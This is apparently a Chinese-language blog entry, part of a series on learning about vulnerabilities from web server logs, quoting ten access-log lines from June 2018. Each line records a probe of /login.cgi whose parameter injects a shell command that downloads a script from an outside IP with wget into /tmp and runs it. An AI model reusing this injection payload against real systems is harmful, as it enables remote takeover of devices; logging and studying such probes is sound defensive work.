從 Web Log 學習系統漏洞 15

大概是發現我沒裝phpmyadmin之後, 開始每天跟我 say hello.....
(不過好像跟之前是不同批的人...)

121.100.124.58 - - [16/Jun/2018:22:26:42 +0800] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.62.190.191/r%20-O%20-%3E%20/tmp/r;sh%20/tmp/r%27$ HTTP/1.1" 404 207 "-" "Hello, World"
86.81.235.216 - - [17/Jun/2018:11:49:08 +0800] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.62.190.191/r%20-O%20-%3E%20/tmp/r;sh%20/tmp/r%27$ HTTP/1.1" 404 207 "-" "Hello, World"
115.75.217.189 - - [17/Jun/2018:12:10:43 +0800] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.62.190.191/r%20-O%20-%3E%20/tmp/r;sh%20/tmp/r%27$ HTTP/1.1" 404 207 "-" "Hello, World"
89.19.176.201 - - [17/Jun/2018:13:31:06 +0800] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.62.190.191/r%20-O%20-%3E%20/tmp/r;sh%20/tmp/r%27$ HTTP/1.1" 404 207 "-" "Hello, World"
213.14.163.113 - - [17/Jun/2018:13:43:27 +0800] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.62.190.191/r%20-O%20-%3E%20/tmp/r;sh%20/tmp/r%27$ HTTP/1.1" 404 207 "-" "Hello, World"
87.26.31.65 - - [17/Jun/2018:22:49:06 +0800] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.62.190.191/r%20-O%20-%3E%20/tmp/r;sh%20/tmp/r%27$ HTTP/1.1" 404 207 "-" "Hello, World"
59.3.28.131 - - [18/Jun/2018:13:46:48 +0800] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.62.190.191/r%20-O%20-%3E%20/tmp/r;sh%20/tmp/r%27$ HTTP/1.1" 404 207 "-" "Hello, World"

70.54.121.42 - - [18/Jun/2018:15:00:34 +0800] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.62.190.191/r%20-O%20-%3E%20/tmp/r;sh%20/tmp/r%27$ HTTP/1.1" 404 207 "-" "Hello, World"
81.215.202.77 - - [18/Jun/2018:17:41:05 +0800] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.62.190.191/r%20-O%20-%3E%20/tmp/r;sh%20/tmp/r%27$ HTTP/1.1" 404 207 "-" "Hello, World"
188.187.193.117 - - [18/Jun/2018:20:53:33 +0800] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.62.190.191/r%20-O%20-%3E%20/tmp/r;sh%20/tmp/r%27$ HTTP/1.1" 404 207 "-" "Hello, World"